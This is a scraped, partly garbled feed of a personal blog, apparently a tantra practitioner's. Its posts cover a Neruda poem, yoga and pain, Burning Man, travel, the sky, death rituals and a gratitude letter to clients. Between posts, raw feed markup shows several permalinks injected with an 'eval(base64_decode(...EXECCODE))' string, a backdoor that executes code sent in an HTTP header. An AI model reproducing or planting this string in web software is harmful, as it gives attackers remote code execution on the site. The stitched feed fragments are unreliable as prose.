If each day falls

Inside each night

There exists a well

Where clarity is enfolded.

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We need to sit on the rim

Of the well of darkness

And fish for fallen light

With patience.

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Pablo Neruda

Translated by by William O’Daly

With Love,

and wishes for your happiness, health and prosperity in the year ahead,

Sola

Just yesterday a new yoga instructor pointed out that the front of my heart chakra was wide open and active, the back was constricted.  I was using that area as the source of all my movement, and it was causing me pain.  In fact, this point is a chronic source of pain for me.  She said, “The front is where you let others in, the back is where you let your own self in.”  Pain, it is vital information from our body.  Can I listen?

Challenge and opportunity are one and the same.  It’s time to renew the vows to my own self.  I invite you to note your seeming painful opportunities to do so as well.

As in our meeting that day.  Rich potential not tapped to it’s depths.  Opportunity lost?  Or shall it come around again?

With Love,

Sola

Inspire

If you have never experienced the chaos of Burning Man, it is impossible to describe.  A festival created by the attendees themselves.  A community of radical self expressionists and active participants.  A city built on whim and fancy and then quickly disassembled – leaving no trace of the competing sound systems or the magnificent art, structures, and gaily adorned revelers recently swirling through the dust of the brutally hot and cold Desert Mistress of nowhere-but-here-Nevada.  The surreal other-reality has always helped me to rearrange my idea of what is and make way for “what may be.”  The temple fire was particularly powerful and turbulent and I found myself riding the currents of smoke across the sky, looking through glasses made of the ghostly layer of skittering dust between myself and anything solid, holding my directional trajectory moving through a white out dust storm, falling into the depth of the clear night sky…  I personally took less than a dozen photos this year and do not plan to ad any to my vacation gallery.  For great photos, stories, and more information please visit the official website, and/or Google-images to your hearts content.

One of many fabulous art cars

Staying warm in a garden of fire

Http://www.BurningMan.com

I took a couple extra days away to revel in the natural world created before man.  Time with special friends, long soaks in the tubs, plenty of naps, and amazing vegetarian meals at Breitenbush soothed away any rough edges and refreshed my spirit.

This was my birthday present to myself.  Next week I will turn 37 years old.

May what is ahead be as phenomenal as what has been before!

]]> http://solalove.com/tantra/2010/09/10/a-reset-button-for-reality/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 http://solalove.com/tantra/2010/08/28/summertime/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://solalove.com/tantra/2010/08/28/summertime/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 29 Aug 2010 06:22:33 +0000 Sola http://solalove.com/tantra/?p=1404 It seemed to take forever to arrive this year, and now we’re near the end – bright beautiful days, clear nights, simple summer dresses and tank tops, a thin film of salty sweat drying in the breeze… make sure to enjoy it while you still can!

I’ve been busy with a few travels, my somatic psychotherapy studies, working towards my Clinical Sexology certificate, deepening my shamanic experiences, coordinating minor repairs and yard work at the Sanctuaries, and taking extra walks through the arboretum with my doggie friend.  How is it that life can be so busy when there is always much more that I’d like to do?  I’m reassured that there is no time for boredom!

July found me down in Vegas for the Desiree Alliance and September finds me heading off to Burning Man for the first time in five years.  My apologies that my travels are making it difficult to keep up with the blog, know I’m loving life and would love to see you when I am around! Please make sure to check my web calendar for more information and dates to be aware of, I updated it through the end of the year.
With Love and Bright Blessings!

Every day the sky appears different than just the day before.  Heading down Denny/Olive towards the waterfront on Saturday Mt. Rainier was out in full splendor, the Space Needle anchored the city at the base of my view.  Tall mountain surrounded by fluffy cumulus clouds and a brilliant robin egg blue sky… a postcard image made presently real by the criss cross of telephone and power lines between here and there.

How long had it been since I found my eyes to taking snapshots of the sky?  Too long, much too long.

As often happens when I procrastinate other to-dos I found myself on Google looking, this time for poetry about the sky.  My random searching brought me to a site I thought you might enjoy as well -

The Cloud Appreciation Society

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Often I share space with my friends ailments and stress and anxiety and pains and fears… sometimes simple large things such as finances and careers, often more intricate matters of emotion, the hearts longing and life and health, the “why we are here’s.”  Last night a friend was talking of how our culture has no preparation, no honor, no ritual around death and dying.  Of how little control most of us have over our last days and of the extreme in those who take full control of their end.  Of the fact that sometimes as witnesses there is nothing that we can do, and how very hard that can feel.  I awoke thinking that our death is a milestone in our lives equal in relevance only to our birth.  I’m moved to do more study around ceremonial grief and hospice psychology.  Please let me know if you have any good sources, guides, teachers, book recommendations or other reference materials that may be useful.  Thank you.

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Back on the east coast I met a man who offered me the vision that the smell of a burning olive oil lamp would return something to me.  I’ve yet to follow up to create the lamp and seek the gift offered, there is a bit of nervousness that I would do something wrong, use the wrong materials, find nothing.  The potential is so rich that I hesitate to destroy it by seeking… As in our meeting that day.  Rich potential not tapped to it’s depths.  Opportunity lost?  Or shall it come around again?

Subtitle: Good providers do not make good relationships…

A heartfelt Thank You for walking into my life – in all of your forms and guises. Stretching boundaries, learning, exploring, loving, healing… You allow me to be me as I am, as I want to be. You honor me in allowing me to witness and experience you, with your dreams and desires, your pains and your fears.  Stripped. Of all worldly associations, Naked.   Those eyes are windows and I can only look away when I can no longer keep my own eyes open, when I become lost in ME… The little girl sees those invisible wounds, kisses those scars. The teen giggles in moments of self-conscious uncertainty. The woman feeds of your heat and your pleasure. The Goddess worships your God-essence.

Love which goes beyond looks and age and consequence, gender, beyond you and me, Universal, Unteathered… It is love which nourishes and which sets me free, And I will forever thank you for allowing me this space, this life, this opportunity, these experiences.  I am affected deeply each time we meet. Your questions teach me. Your healing heals me. Your light illuminates tangled pathways on my own journey. Your strength empowers and awes me. I hum with the vibration of Oneness. It’s a game I enjoy playing, it’s a hobby which has become my livlihood, it’s a gift I pray to keep giving.

Emotions are are but flavors of light, energies, signs, stories… They have always been and will always be in this manifestation of life that is lived. We can hold them… or… let them run through us like water, food, the air we breathe.  I must first receive the love which I give. Let it flow. Overflowing. I may love you, though overall I love THROUGH you. Create your own well. Gratitude to a Source is healthy and beautiful, dependence is not. Don’t take it personal, it’s not about you. It’s all about the me within you and the you within me.

Maybe it is personal.  Sometimes. But what does that mean? What will that mean tomorrow, at noon? When flesh is but ash? The whys and the wheres and the whats and the hows… I don’t have your answers, and I hope to always be still searching for mine.

I’ve said before and will say many times again – women who have this much love do not make good partners. Feel free to ask any number of my many x’s. You can’t cage a phoenix, and I’d be killing the gold-laying magical goose. Our lives are the greatest of fairy tales ever, or never, told. Enjoy it as it is, for what it is.